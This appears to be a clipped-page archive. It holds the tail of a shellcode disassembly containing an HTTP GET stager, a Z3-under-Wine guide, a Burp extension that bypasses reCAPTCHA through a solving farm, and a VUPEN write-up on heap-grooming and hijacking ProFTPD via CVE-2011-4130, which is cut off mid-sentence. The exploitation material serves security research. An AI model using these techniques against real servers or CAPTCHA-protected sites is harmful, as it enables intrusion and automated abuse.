    000002D4  204944            and [ecx+0x44],cl
    000002D7  3D7773325F        cmp eax,0x5f327377
    000002DC  3332              xor esi,[edx]
    000002DE  004950            add [ecx+0x50],cl
    000002E1  48                dec eax
    000002E2  4C                dec esp
    000002E3  50                push eax
    000002E4  41                inc ecx
    000002E5  50                push eax
    000002E6  49                dec ecx
    000002E7  0002              add [edx],al
    000002E9  0000              add [eax],al
    000002EB  50                push eax
    000002EC  41                inc ecx
    000002ED  DECA              fmulp st2
    000002EF  3647              ss inc edi
    000002F1  45                inc ebp
    000002F2  54                push esp
    000002F3  202F              and [edi],ch
    000002F5  303563656134      xor [0x34616563],dh
    000002FB  64652D39353164    gs sub eax,0x64313539
    00000302  2D34303337        sub eax,0x37333034
    00000307  2D62663866        sub eax,0x66386662
    0000030C  2D66363930        sub eax,0x30393666
    00000311  3535623237        xor eax,0x37326235
    00000316  396262            cmp [edx+0x62],esp
    00000319  204854            and [eax+0x54],cl
    0000031C  54                push esp
    0000031D  50                push eax
    0000031E  2F                das
    0000031F  312E              xor [esi],ebp
    00000321  310D0A486F73      xor [0x736f480a],ecx
    00000327  743A              jz 0x363
    00000329  2000              and [eax],al
    0000032B  0000              add [eax],al
    0000032D  0000              add [eax],al
    0000032F  0000              add [eax],al
    00000331  0000              add [eax],al
    00000333  0000              add [eax],al
    00000335  0000              add [eax],al
    00000337  0000              add [eax],al
    00000339  0000              add [eax],al
    0000033B  0000              add [eax],al
    0000033D  0000              add [eax],al
    0000033F  0000              add [eax],al
    00000341  0000              add [eax],al
    00000343  0000              add [eax],al
    00000345  0000              add [eax],al
    00000347  0000              add [eax],al
    00000349  0000              add [eax],al
    0000034B  0000              add [eax],al
    0000034D  0000              add [eax],al
    0000034F  0000              add [eax],al
    00000351  0000              add [eax],al
    00000353  0000              add [eax],al
    00000355  0000              add [eax],al
    00000357  0000              add [eax],al
    00000359  0000              add [eax],al
    0000035B  0000              add [eax],al
    0000035D  0000              add [eax],al
    0000035F  0000              add [eax],al
    00000361  0000              add [eax],al
    00000363  0000              add [eax],al
    00000365  0000              add [eax],al
    00000367  0000              add [eax],al
    00000369  0000              add [eax],al
    0000036B  0000              add [eax],al
    0000036D  0000              add [eax],al
    0000036F  0000              add [eax],al
    00000371  0000              add [eax],al
    00000373  0000              add [eax],al
    00000375  0000              add [eax],al
    00000377  0000              add [eax],al
    00000379  0000              add [eax],al
    0000037B  0000              add [eax],al
    0000037D  0000              add [eax],al
    0000037F  0000              add [eax],al
    00000381  0000              add [eax],al
    00000383  0000              add [eax],al
    00000385  0000              add [eax],al
    00000387  0000              add [eax],al
    00000389  0000              add [eax],al
    0000038B  0000              add [eax],al
    0000038D  0000              add [eax],al
    0000038F  0000              add [eax],al
    00000391  0000              add [eax],al
    00000393  0000              add [eax],al
    00000395  0000              add [eax],al
    00000397  0000              add [eax],al
    00000399  0000              add [eax],al
    0000039B  0000              add [eax],al
    0000039D  0000              add [eax],al
    0000039F  0000              add [eax],al
    000003A1  0000              add [eax],al
    000003A3  0000              add [eax],al
    000003A5  0000              add [eax],al
    000003A7  0000              add [eax],al
    000003A9  0000              add [eax],al
    000003AB  0000              add [eax],al
    000003AD  0000              add [eax],al
    000003AF  0000              add [eax],al
    000003B1  0000              add [eax],al
    000003B3  0000              add [eax],al
    000003B5  0000              add [eax],al
    000003B7  0000              add [eax],al
    000003B9  0000              add [eax],al
    000003BB  90                nop
    
[/code]

****

# Algorithms- Key Sizes and Parameters Report. 2013 recommendations

**Created:**| _10/29/2013 3:52:41 PM_  
---|---  
**Updated:**| _10/29/2013 3:53:50 PM_  
**Author:**| _wishi_  
**Tags:**| _papers policies crypto_  
  

This document collates a series of recommendations for algorithms, keysizes,
and parameter recommendations. It addresses the need for a minimum level of
requirements for cryptography across European Union \(EU\) Member States
\(MSs\) in their effort to protect personal and sensitive data of the
citizens. The document tries to address the need for continuation of the
reports published by ECRYPT NoE and also the requirements for cryptographic
protective measures applicable to the notification of personal data breaches.
This report is complementing another study soon to be published by ENISA that
provides an easy to read and understand context for non-speciallized parties.

  

Publication date: Oct 29, 2013  

  

  

<img src='img/Algorithms- Key Sizes and Parameters Report. 2013
recommendations.pdf' width='100%' height='129232' />

# How to run Z3 under Linux or Mac OS X?

**Created:**| _9/16/2010 9:53:12 AM_  
---|---  
**Updated:**| _9/16/2010 9:53:31 AM_  
**Author:**| __  
**Tags:**| _research Linux Microsoft windows environment awesome SMT_  
  

## How to run Z3 under Linux or Mac OS X?

This is a method to use the SMT solver Z3 in a non-Windows environment
\(Linux, Mac OS X, ...\). It has been tested on Ubuntu \(version 8.04\) and
Mac OS X \(version 10.5\). For additions, corrections or suggestions, please
contact me.

#### 1\. Install Wine

Wine \(version 1.0 or higher\) may already be included in your distribution.
Otherwise, there are the following locations to obtain Wine from:

  * Wine for major Linux/BSD distributions: http://www.winehq.org/site/download
  * Wine on Mac OS X: http://www.kronenberg.org/darwine/ \(note that you might need to install TRiX which is shipped with Darwine\), comprehensive overview: http://wiki.winehq.org/MacOSX

#### 2\. Install Z3

Download the Z3 installer from http://research.microsoft.com/projects/Z3/
\(version 2.3 has been tested to work\).

On Mac OS X, install Z3 by just clicking on the downloaded application. In
other systems run the following command in a shell \(where "Z3.msi" has to be
substituted with the name of the downloaded installer\):

[code]

    wine msiexec /i Z3.msi
    
[/code]

Afterwards, download "winetricks" from http://code.google.com/p/winezeug/ and
run:

[code]

    winetricks vcrun2008
    
[/code]

#### 3\. Run Z3

To conveniently run Z3, use this shell script for Linux or this shell script
for Mac OS X. Note that the script may need some modification; especially
compare the path to Z3 as given in the script file with the location Z3 was
installed to. To make the script executable, run the following command in the
directory of the shell script:

[code]

    chmod a+x z3
    
[/code]

To test that the setup works, run the following command in the directory of
the shell script:

[code]

    ./z3 /version
    
[/code]

Please note that Z3 cannot check files given with absolute paths, because Z3's
options already start with a forward slash.

Last updated: 1.12.2009

# HyzgK.png \(PNG-Grafik, 1303x748 Pixel\) - Skaliert \(83%\)

**Created:**| _3/18/2011 5:15:25 PM_  
---|---  
**Updated:**| _3/18/2011 5:15:25 PM_  
**Author:**| __  
**Tags:**| _w_  
  
<img src='img/HyzgK.png' width='1085' height='623'
alt='http://i.imgur.com/HyzgK.png' /><img src='img/Temp2_4140.png' />

# Extending Burp Suite to solve reCAPTCHA | Web App Security
**Created:**| _1/31/2012 7:17:44 PM_  
---|---  
**Updated:**| _1/31/2012 7:17:56 PM_  
**Author:**| __  
**Tags:**| _web-app-sec bookmark security tools_  
  

← Decrypting suhosin sessions and cookies.

# Extending Burp Suite to solve reCAPTCHA

Posted on January 19, 2012 by Phil

By extending the Burp Suite and integrating it with a CAPTCHA solving farm you
can enable the automated bypassing of CAPTCHA within all burp tools;
seamlessly replacing all CAPTCHA with their correct solutions. This post will
show how I’ve extended Burp and integrated it with the DeathByCaptcha API to
solve reCAPTCHA.

Several services exist for decoding CAPTCHA, although DeathByCaptcha seems
pretty good and from the initial tests I’m seeing a 99.7% accuracy rate \(with
reCAPTCHA at least\) – The premise for most of these services is simple,
upload your CAPTCHA to the API and poll for a response until it is solved by
someone at the other end. DeathByCaptcha currently charges $13.90 per 10,000
solutions. The API is a simple REST interface and it normally takes only a few
seconds to decode the image.

**The concept:**  
Burp Extender allows you to hook and modify all HTTP responses before they are
used by any of the tools in the Burp Suite. The idea behind the Burp Extender
extension I’ve written is to intercept all of the HTTP responses, examine them
for the reCAPTCHA script and replace the input fields with the solution from
DeathByCaptcha. This will effectively turn reCAPTCHA into a nonce or one-time-
token which Burp 1.4 macros can easily handle in a similar way to CSRF tokens.

**How it works:**  
I’ve chosen reCAPTCHA as the target as its widely used – it also has the
advantage that the solution can be directly validated against Google servers
so you can check that the solution is correct before you post it to the target
domain. The general structure of my Burp Extension looks like this:

<img src='img/Temp2_3039.png' width='742' height='562' alt='alt' />

To summarise the above the main steps are:

  * Extract the reCAPTCHA site key from the Intercepted Server Response – these match the expression “6\[A-Za-z\\-\_\]\{39\}”
  * Use the site key to request the Iframe that contains a link to a CAPTCHA image.
  * Extract the reCAPTCHA JPEG location and reCAPTCHA challenge field from the Iframe HTML source.
  * Post the JPEG to DeathByCaptcha for solving.
  * Post the solution to the Iframe location.
  * Obtain the challenge response from the reply from the previous post and modify the initial HTTP Response to contain the challenge/response codes.

**Compiling:  
**To compile ensure you have the Java SDK installed and issue the following
commands:

_javac.exe BurpExtender.java_  
_jar.exe -cf BurpExtender.jar BurpExtender.class_

This should generate a burpExtender.jar file in the working directory.

**Running:  
**The extension takes two command line arguments. The username and password
for the DeathByCaptcha API \(so if you want to run the extension you’ll need
to sign up to the service\). To run the extension make sure the extension is
located in the same directory as the Burp Suite and run:

_java -Xmx512m -classpath “\*” burp.StartBurp “myusername” “mypassword”_

When you now browse through the Burp Proxy to sites such as
http://www.google.com/recaptcha/learnmore you should see the reCAPTCHA
replaced with a challenge and response input box. Generally the API can take
anywhere from 5 to 20 seconds to translate the CAPTCHA, while this is
happening the page will not load. Once its decoded the image you should see
something similar to below:

<img src='img/Temp2_3038.png' width='621' height='185' alt='alt' />

\(Before / After - When browsing through the Burp Proxy\)

The code isn’t pretty – its been hacked together – its more proof of concept.
There isn’t a great deal of error handling and not being a Java Developer I
may have used entirely the wrong methods in certain places.

# django-paste - Project Hosting on Google Code

**Created:**| _1/15/2010 5:38:13 PM_  
---|---  
**Updated:**| _1/15/2010 5:38:20 PM_  
**Author:**| __  
**Tags:**| _bookmark Django_  
  

**wishinet@googlemail.com** | My favorites<img src='img/Temp2_10179.gif' width='14' height='14' /> | Profile | Sign out
<img src='img/Temp2_10177.gif' alt='Project Logo' />| django-paste _A Django
paste bin_|  
---|---|---  
Project Home|  | Source|  |   
---|---|---|---|---  
Summary | Updates | People |   
---|---  
<img src='img/Temp2_10178.gif' width='15' height='15' /> Star this project  
---  
Code license:| New BSD License  
---|---  
Labels:| web, python, pastebin, paste, snippet, django, toolbox, bin, code  
Links:|

  * dpaste.de - This app in action

  
---|---  
Blogs:|

  * Authors Weblog

  
Feeds:|

  * Project feeds

  
People detailsProject owners:  
---  
| leidel, mahner.martin  
## dpaste is a code pastebin application using Django.

Originally inspired by dpaste.com this application adds the ability to:

  * See the differences between snippets
  * A history of snippets as a tree
  * See your latest 25 snippets \(admin setting\)
  * A huge bunch of syntax highlighters \(lexers\)
  * User defined settings to change the font-family as well as font-sizes
  * Nicer colors
  * Multilangual interface

### Requirements:

  * django-mptt for the nested-set history tree
  * Pygments for syntax highlighting

### Todo/Maybe's:

  * Multilangual interface
  * Ability to annotate lines
  * Purging snippets that are older than _n_ days
  * Make django-mptt and pygments optional
  * Permanently stored user settings
  * Something like an API to post snippets via Vim or so

### Example:

An example installation of this application is on dpaste.de\!

  
  
  
  
  
  
  
  

©2009 Google - Code Home \- Terms of Service \- Privacy Policy \- Site
Directory \- Project Hosting Help

Hosted by <img src='img/Temp2_10176.gif' width='107' height='24' alt='Google
Code' />

# VUPEN Vulnerability Research Blog - Advanced Exploitation of ProFTPD
Response Pool Remote Use-after-free \(CVE-2011-4130\) - Part II

**Created:**| _1/22/2012 7:27:18 PM_  
---|---  
**Updated:**| _1/22/2012 7:27:18 PM_  
**Author:**| __  
**Tags:**| _Exploit Heap_  
  
| **VUPEN Vulnerability Research Team \(VRT\) Blog**  
---  
|  |    
** Advanced Exploitation of ProFTPD Response Pool Use-after-free
\(CVE-2011-4130\) - Part II**  
|  _ Published on 2012-01-16 17:54:14 UTC by Jordan Gruskovnjak_ _, Security
Researcher @ VUPEN_|  <img src='img/Temp2_8836.png' width='20' height='20'
alt='Twitter' /> <img src='img/Temp2_8835.png' width='20' height='20'
alt='LinkedIn' /> <img src='img/Temp2_8838.png' width='20' height='20'
alt='Delicious' /> <img src='img/Temp2_8837.png' width='20' height='20'
alt='Digg' />  
---|---  
**__ ** <img src='img/Temp2_8833.png' width='65' height='58' />Hi everyone,  
  
This is part II of our analysis and exploitation of the ProFTPD Reponse Pool
Use-after vulnerability \(CVE-2011-4130\). In  _part I_, we published the in-
depth analysis of the flaw and showed how to trigger it.  
  
In this last but not least part, we will show how we managed to reliably
exploit it by studying the pool allocator, achieving controlled heap
allocations, controlling the stale pointer, triggering memory leaks to leak
heap addresses, controlling the Freelist, overwriting the pool, and finally
controlling EIP and executing our shellcode as root\!  
  
**__1\. T__** _**_he Pool Allocator_**_  
  
In order to exploit this challenging use-after-free vulnerability, one has to
dig into the pool allocator used in ProFTPD to understand how allocations are
performed and how this allocator can be subverted. The pool allocator has the
following characteristics:  
  
\- All allocations are tied to a pool, that is a pool is given a minimum size
\(default: 512 bytes\) block which is used to perform subsequent allocations
inside that pre-allocated space. In case the pool runs out of space, it
retrieves the first fitting block inside a singly linked list and eventually
calls "_malloc_\(\)" if no block is big enough to serve the request.  
  
\- Memory is never free\(\)ed until the program ends. Pools that are destroyed
just insert their released blocks into the singly linked list of available
blocks: the _block\_freelist_.  
  
\- Pools have cleanup handlers called during pool destruction \(which will be
very useful for exploitation\).  
  
The base structure used in the pool allocator is the block which is defined in
_src/pool.c_ as:  
  
  
union block\_hdr \{  
union align a;  
  
/\* Padding \*/  
\#if defined\(\_LP64\) || defined\(\_\_LP64\_\_\)  
char pad\[32\];  
\#endif  
  
/\* Actual header \*/  
struct \{  
char \*endp; **// points to the end of the block**  
union block\_hdr \*next; **// used to walk the block\_freelist linked list**  
char \*first\_avail; **// points to the first available memory inside block**  
\} h;  
\};  
  
---  
  
Example of an allocated block in memory:  
  
0xc bytes of block header|  |   
---|---|---  
endp|  next|  first\_avail|  data|  unused data  
0x4 bytes|  0x4 bytes|  0x4 bytes|  
  
  
The pool structure in _src/pool.c_ is defined as follows:  
  
  
struct pool \{  
union block\_hdr \*first; **// first block: Block where pool is contained**  
union block\_hdr \*last; **// last block retrieved from freelist, used for
current alloc**  
struct cleanup \*cleanups; **// cleanup structure called during pool
destruction**  
struct pool \*sub\_pools;  
struct pool \*sub\_next;  
struct pool \*sub\_prev;  
struct pool \*parent;  
char \*free\_first\_avail;  
const char \*tag;  
\};  
  
---  
  
A pool is created by calling the "_make\_sub\_pool\(\)_ " function which will
allocate a 512 bytes memory chunk and return a pointer to the pool structure.  
  
Example of an allocated pool structure:  
  
endp |  next |  first\_avail |  pool structure |  data |  Unused data  
---|---|---|---|---|---  
0x4  
bytes |  0x4  
bytes |  0x4  
bytes |  0x36 bytes |  variable length |  variable length  
__1.a\) Allocations__  
  
When allocation of data is requested using the "_new\_block\(\)_ " function,
the current pool is checked to verify if the current block the pool is using
fits the size requirements.  
  
If the block is not large enough, the code will walk the block freelist and
retrieve the first candidate meeting the requirements. In the case the search
is not successful, "_malloc\(\)_ " is called to allocate more memory. The pool
current block is then updated with the retrieved block.  
  
__1.b\) Deallocations_ \(freeing under the context of the allocator\)_  
  
Deallocations are only performed on a call to "_destroy\_pool\(\)_ ". All the
blocks used by the pool are reinitialized and moved to the freelist using the
"_free\_blocks\(\)_ " function. No block is actually freed with a call to
"_free\(\)_ ". The last recently deallocated blocks are always the first in
the block freelist. No coalescing is performed.  
  
**__  
2\. Controlling The Stale Pointer  
  
__** Now that we have a better understanding of the pool allocation behavior,
we have to find a way to put user-controlled data in the area pointed to by
the "_resp\_pool_ " before the "_pr\_data\_close\(\)_ " function is executed
\(which eventually leads to a call to "_palloc\(\)_ "\).  
  
Given the allocator behavior, since the _cmd- >pool_ has just been released,
all it takes to get control of the pool allocator is performing a
"_palloc\(\)_ " to retrieve the newly released pool block and copy user-
controlled data in it, thus overwriting useful headers, before the
"_pr\_data\_close\(\)_ " function is reached. Even though theoretically
simple, it is quite tricky to achieve a user-controlled allocation.  
  
By inspecting the code after the call to "_destroy\_pool\(\)_ " we reach the
following piece of code in "_pr\_data\_xfer\(\)_ ":  
  
int **pr\_data\_xfer**\(char \*cl\_buf, int cl\_size\) \{  
\[...\]  
**destroy\_pool\(cmd- >pool\);**  
\[...\]  
if \(session.xfer.direction == PR\_NETIO\_IO\_RD\) \{  
char \*buf = session.xfer.buf;  
pr\_buffer\_t \*pbuf;  
  
if \(session.sf\_flags & **\(SF\_ASCII|SF\_ASCII\_OVERRIDE\)**\) \{  
int adjlen, buflen;  
  
do \{  
buflen = session.xfer.buflen; **// how much remains in buf**  
adjlen = 0;  
  
pr\_signals\_handle\(\);  
  
len = pr\_netio\_read\(session.d->instrm, buf + buflen,  
session.xfer.bufsize - buflen, 1\);  
if \(len < 0\)  
return -1;  
  
/\* Before we process the data read from the client, generate an event  
\* for any listeners which may want to examine this data.  
\*/  
**// returns a ptr to the destroyed pool structure**  
**// the second DWORD must be overwritten**  
pbuf = **pcalloc**\(session.xfer.p, sizeof\(pr\_buffer\_t\)\);  
  
// pbuf = \{ char\* buf, unsigned long buflen, char \*current, int remaining
\}  
**pbuf- >buf = buf; **  
  
**// this field is the ref. kept by the static value**  
**// \(second DWORD of pool struct\)**  
pbuf->buflen = len;  
  
pbuf->current = pbuf->buf;  
pbuf->remaining = 0;  
  
---  
This piece of code looks like the perfect candidate. If the "_session.xfer.p_
" pool has not enough space to handle the call to "_pcalloc\(\)_ " with a size
of _sizeof\(pr\_buffer\_t\),_ the block freelist will be processed and the
address pointing to the previously destroyed pool will be returned. However
the buf field of the _pr\_buffer\_t_ structure is the first dword and not the
second. Since the "_alloc\_pool\(\)_ " uses a pointer located in the second
dword of the pool structure, it will end trying to dereference a pointer whose
value is the buffer length.  
  
We eventually reach the following code portion within the same function:  
  
int **pr\_data\_xfer**\(char \*cl\_buf, int cl\_size\) \{  
\[...\]  
**destroy\_pool**\(cmd->pool\);  
\[...\]  
else \{ /\* PR\_NETIO\_IO\_WR \*/  
\[...\]  
if \(buflen > pr\_config\_get\_server\_xfer\_bufsz\(PR\_NETIO\_IO\_WR\)\)  
buflen = pr\_config\_get\_server\_xfer\_bufsz\(PR\_NETIO\_IO\_WR\);  
  
xferbuflen = buflen;  
  
/\* Fill up our internal buffer. \*/  
memcpy\(session.xfer.buf, cl\_buf, buflen\);  
  
if \(session.sf\_flags & \(**SF\_ASCII|SF\_ASCII\_OVERRIDE**\)\) \{ **\[1\]**  
  
/\* Scan the internal buffer, looking for LFs with no preceding CRs.  
\* Add CRs \(and expand the internal buffer\) as necessary. xferbuflen  
\* will be adjusted so that it contains the length of data in  
\* the internal buffer, including any added CRs.  
\*/  
**xfrm\_ascii\_write**\(&session.xfer.buf, &xferbuflen,
session.xfer.bufsize\);  
  
---  
  
Looking at "_xfrm\_ascii\_write\(\)_ " located in _src/data.c_ gives the
following:  
  
static unsigned int xfrm\_ascii\_write\(char \*\*buf, unsigned int \*buflen,
unsigned int bufsize\) \{  
char \*tmpbuf = \*buf;  
unsigned int tmplen = \*buflen;  
unsigned int lfcount = 0;  
unsigned int added = 0;  
\[...\]  
**if \(\(res = \(bufsize - tmplen - lfcount\)\) <= 0\)** \{ **\[2\]**  
char \*copybuf = malloc\(tmplen\);  
if \(\!copybuf\) \{  
pr\_log\_pri\(PR\_LOG\_ERR, "fatal: memory exhausted"\);  
exit\(1\);  
\}  
memcpy\(copybuf, tmpbuf, tmplen\);  
  
/\* Allocate a new session.xfer.buf of the needed size. \*/  
session.xfer.bufsize = tmplen + lfcount + 1;  
session.xfer.buf = pcalloc\(session.xfer.p, session.xfer.bufsize\);  
**memcpy\(session.xfer.buf, copybuf, tmplen\);**  
  
---  
A "_pcalloc\(\)_ " followed by a "_memcpy\(\)_ " is exactly what we need to
take control of the pool. However certain conditions have to be met in order
to reach this code section:  
  
In \[1\] the _session.flags_ variable has to be set to
_SF\_ASCII|SF\_ASCII\_OVERRIDE_. Searching through the code in _modules_ and
_src_ , we isolate 3 commands which set these flags and perform data transfer
by the mean of the "_pr\_data\_xfer\(\)_ " function: _MLSD_ , _LIST_ and
_NLST_.  
  
These 3 ftp commands perform directory file listing. For exploitation, NLST is
the most interesting since it just prints the names of files present in a
directory and does not add any extra information.  
  
Example of output with the 3 commands executed within the _foo_ directory
containing the "_bar_ " file:  
MLSD|  LIST|  NLST  
---|---|---  
  
modify=20111214151251;perm=adfrw;size=4;  
type=file;unique=806U1D203D;  
UNIX.group=1000;UNIX.mode=0644;  
UNIX.owner=1000; _bar_  
|  
-rw-r--r-- 1 1000 1000 4 Dec   
14 15:12 _bar_|  
_bar_  
The condition \[2\] is more restrictive. In order to reach the "_pcalloc\(\)_
" call, _tmplen \- lfcount_ must be greater than or equal to _bufsize_. The
value of _bufsize_ is set by the "_pr\_config\_get\_server\_xfer\_bufsz\(\)_ "
which returns the value 16384. This means that the NLST command must be
invoked on a directory whose file listing _size + lfcount_ \(which is the
number of carriage return in the buffer\) is greater than or equal to 16384
bytes. Moreover this implies that, to be useful, the file listing must contain
user-controlled data, implying the ability to write in a directory.  
  
If we invoke the NLST command on a directory containing these 3 files: "_foo_
", "_bar_ ", and "_foobar_ ", the NSLT buffer will be: "foo" \+ "\n" \+ "bar"
\+ "\n" \+ "foobar" \+ "\n".  
  
This will give a _tmplen_ of: _len_\("foo"\) + "\n" \+ _len_\("bar"\) + "\n"
\+ _len_\("foobar"\) + "\n" = 15 bytes and a _lfcount_ of 3 bytes = 18 bytes.  
  
Since the maximum file size on a UNIX file system is 255 bytes \(if we suppose
ext2/3\), for each 255 bytes file listed we have a result of 255 + 1 \("\n"\)
= 256 bytes. By creating 16384 / 256 = 64 files with filename of 255 bytes
each, the code will enter the required code path.  
  
Let's take a look at the "_block\_freelist_ " state before and after the pool
destruction.  
  
Before _cmd- >pool_ destruction inside "_pr\_data\_xfer\(\)_ ":  
  
\(gdb\) x/2i 0x080766a0  
0x080766a0 <+2960>: call 0x80598a0 <destroy\_pool>  
0x080766a5 <+2965>: jmp 0x8075b7e <pr\_data\_xfer+110>  
Breakpoint 2, 0x080766a0 in pr\_data\_xfer \(\)  
\(gdb\) display\_freelist  
Block: 0x98ee828 Size: 512 **// size = block\_hdr- >h.endp -
block\_hdr->h.first\_avail**  
  
---  
  
After _cmd- >pool _destruction:  
  
Temporary breakpoint 3, 0x080766a5 in pr\_data\_xfer\(\)  
\(gdb\) _display\_freelist_  
Block: **0x98c24f8** Size:  512 **// pool which has just been destroyed**  
Block: 0x98c2b28 Size: 512 **// = > head of freelist**  
Block: 0x98ee828 Size: 512 **// old head of freelist**  
\(gdb\) _disas pr\_response\_get\_pool_  
Dump of assembler code for function pr\_response\_get\_pool:  
0x08073d10 <+0>: mov 0x80fd088,%eax **// static resp\_pool address**  
0x08073d15 <+5>: ret  
End of assembler dump.  
\(gdb\) _x/wx 0x80fd088_  
0x80fd088: 0x098c2504 **// static value \(kept reference\) points  
// inside a free block**  
\(gdb\) _x/x**0x098c2504 - 0xc**_ **// subtract block\_hdr size**  
**0x98c24f8** : 0x098c2704  
  
---  
We have confirmed that the stale pointer points to the destroyed pool which is
the first in the _block\_freelist_. So the next call to "_palloc\(\)_ " is
likely to retrieve this pointer back from the _block\_freelist_. However, the
freed block size is way too small to be retrieved by a call to
_palloc\(resp\_buf, 16384\)_ , which will eventually rely on "_malloc\(\)_ "
to perform its allocations, which must be avoided.  
  
In order for this technique to work, we have to perform preliminary
allocations of 16384 bytes using the NLST command, and release them to the
block freelist before triggering the bug. If the block freelist is in a right
state when the "_make\_sub\_pool\(\)_ " is called, a block of 16384 bytes will
be retrieved from the freelist and assigned as the _cmd\_rec_ structure pool.  
  
Eventually when the vulnerability will be triggered, the first block in the
block freelist will be large enough to handle the _pcalloc\(16384\)_ request
and will be returned to the caller. "_memcpy\(\)_ " will then fill the buffer
with attacker's controlled data.  
  
Let's put all the pieces together. To achieve code execution, we need to:  
  
\- Pre-allocate blocks of 16384 bytes using the NLST command  
\- Craft the block freelist in a way that "_make\_sub\_pool\(\)_ " will return
one of these 16384 bytes blocks  
\- Trigger the vulnerability  
\- Allocate a block of 16384 bytes and retrieve the former _cmd- >pool_
pointer  
\- Fill the buffer with controlled memory and move forward\!  
  
Now everything is set \(crafting the _block\_freelist_ is left as an exercise
for the reader\), let's see what happens when firing our modified PoC:  
  
Before the call to "_make\_sub\_pool\(\)_ ":  
  

  
Breakpoint 6, 0x0805636b in pr\_cmd\_read \(\)  
\(gdb\) bt 2  
\#0 0x0805636b in pr\_cmd\_read \(\)  
\#1 0x0807609b in pr\_data\_xfer \(\)  
\(gdb\) _x/i $eip_  
=> 0x805636b <pr\_cmd\_read+475>: call 0x80596c0 <**make\_sub\_pool** >  
\(gdb\) display\_freelist  
Block: 0x98c2d80 Size: **16896** **// the pool will be given a 16896 bytes
block**  
Block: 0x98e7670 Size: 512  
Block: 0x98e7880 Size: 512  
Block: 0x98e7a90 Size: 512  
  
---  
  
The size of 16896 results from the way "_new\_block\(\)_ " computes the
required size:  
  
int nclicks = 1 + \(\(reqsz - 1\) / CLICK\_SZ\); **\# CLICK\_SZ = size of
block header \(0xc\)**  
int sz = nclicks \* CLICK\_SZ;  
minsz = 1 + \(\(sz - 1\) / BLOCK\_MINFREE\); **\# BLOCK\_MINFREE = 512**  
minsz \*= BLOCK\_MINFREE;  
  
---  
  
Before the call to "_pcalloc\(\)_ ", in "_pr\_data\_xfer\(\)_ " after the pool
has been destroyed:  
  
Breakpoint 8, 0x08076018 in pr\_data\_xfer \(\)  
\(gdb\) _x/10i $eip_  
=> 0x8076018 <pr\_data\_xfer+1288>: call 0x8059a10 <**pcalloc** >  
0x807601d <pr\_data\_xfer+1293>: mov %esi,0x8\(%esp\)  
0x8076021 <pr\_data\_xfer+1297>: mov %ebx,0x4\(%esp\)  
0x8076025 <pr\_data\_xfer+1301>: mov %eax,0x8106140  
0x807602a <pr\_data\_xfer+1306>: mov %eax,\(%esp\)  
0x807602d <pr\_data\_xfer+1309>: call 0x8052b90 <**memcpy** @plt>  
  
\(gdb\) _x/2wx $esp_  
0xbfbe3c80: 0x0985d794 0x00004006  
\(gdb\) _display\_freelist_  
Block: 0x98c2d80 Size: 16896 **// the pcalloc\(\) call will return the stale
pointer**  
  
---  
  
Leading to a SIGSEGV with our controlled values:  
  
Program received signal SIGSEGV, Segmentation fault.  
0x080595a5 in ?? \(\)  
\(gdb\) i r eax  
eax **0x41414141** 1094795585  
\(gdb\) bt 4  
\#0 0x080595a5 in ?? \(\)  
\#1 0x08059a2f in pcalloc \(\)  
\#2 0x0807442b in pr\_response\_add \(\)  
\#3 0x0807571c in pr\_data\_close \(\)  
\(gdb\) _x/40wx $ebx_  
0x98c2d90: **0x41414141 0x41414141 0x41414141 0x41414141**  
\[&\]  
0x98c2e20: **0x41414141 0x41414141 0x41414141 0x41414141**  
  
---  
We are now controlling the pool data. Obviously, the first idea here is to
create a fake cleanup structure to be called during the "_destroy\_pool\(\)_ "
call. However since the _resp\_pool_ is a borrowed pool, the response pool
code never calls "_destroy\_pool\(\)_ " because it does not own the pool.
Since we are exploiting a use-after-free vulnerability, the pool has already
been destroyed...  
  
**__  
__** **__3\. Controlling__** _**_Allocations_**_  
  
In order to fully control the allocation behavior, the 2nd DWORD of the pool
must point to a block structure that we control. For the moment, let's make
the assumption that we control the allocation and thus can influence the
"palloc\(\)" behavior.  
  
Let's take a look at what the code does with the memory allocated from the
pool we control:  
  
void **pr\_response\_add**\(const char \*numeric, const char \*fmt, ...\) \{  
\[...\]  
resp = \(pr\_response\_t \*\) **pcalloc**\(resp\_pool,
sizeof\(pr\_response\_t\)\);  
resp->num = \(numeric ? **pstrdup**\(resp\_pool, numeric\) : NULL\);  
resp->msg = pstrdup\(resp\_pool, resp\_buf\);  
  
---  
\- "_pcalloc\(\)_ " retrieves a block of memory using "_palloc\(\)_ ", and
initializes the returned block to NULL with a call to _memset\(0\)_.  
  
\- "_pstrdup\(\)_ " retrieves a block of memory with a size of the string
provided as argument and copies the string to the allocated block.  
  
The "_pr\_response\_t_ " structure defined in the _include/response.h_ looks
as follows:

  
/\* Response structure \*/  
typedef struct resp\_struc \{  
struct resp\_struc \*next;  
char \*num;  
char \*msg;  
\} pr\_response\_t;  
  
---  
  
Finally the assembly looks as follows:  
  
0x0807440f <+63>: mov 0x80fd088,%eax **// resp\_pool**  
0x08074414 <+68>: movb $0x0,0x80fe49f  
0x0807441b <+75>: movl $0xc,0x4\(%esp\) **// 0xc \(size\) - > rounded to 0x10
**  
0x08074423 <+83>: mov %eax,\(%esp\) **// by alloc\_pool\(\)**  
0x08074426 <+86>: call 0x8059a10 <**pcalloc** >  
0x0807442b <+91>: mov %eax,%ebp  
0x0807442d <+93>: xor %eax,%eax  
0x0807442f <+95>: test %esi,%esi  
0x08074431 <+97>: je 0x8074444 <pr\_response\_add+116>  
0x08074433 <+99>: mov 0x80fd088,%eax **// resp\_pool**  
0x08074438 <+104>: mov %esi,0x4\(%esp\)  
0x0807443c <+108>: mov %eax,\(%esp\)  
0x0807443f <+111>: call 0x805aae0 <**pstrdup** >  
0x08074444 <+116>: **mov %eax,0x4\(%ebp\)** **// 2nd dword of struct is
written**  
0x08074447 <+119>: mov 0x80fd088,%eax **// resp\_pool**  
0x0807444c <+124>: movl $0x80fd0a0,0x4\(%esp\) **// resp\_buf**  
0x08074454 <+132>: mov %eax,\(%esp\)  
0x08074457 <+135>: call 0x805aae0 <**pstrdup** >  
0x0807445c <+140>: mov %eax,0x8\(%ebp\)  
  
---  
The exploitation possibilities seem rather limited, since the
"_pr\_response\_add\(\)_ " function is the only one which uses our corrupted
pool pointer, this is the only place where we can take control of the
execution flow.  
  
Basically, since we control the pool, we can make "_pcalloc\(\)_ " return an
arbitrary pointer whose memory has been initialized to zero.  
  
The two "_pstrdup\(\)_ " functions do not provide any help since the copied
data are not user-controlled \(respectively "226" and "Transfer complete\r\n".
The two pointers returned by the two "_pstrdup\(\)_ " calls are then written
to respectively the 2nd and 3rd dword of the _pr\_response\_t_ structure.  
  
However this assembly dump gives us precious information: the _resp\_buf_
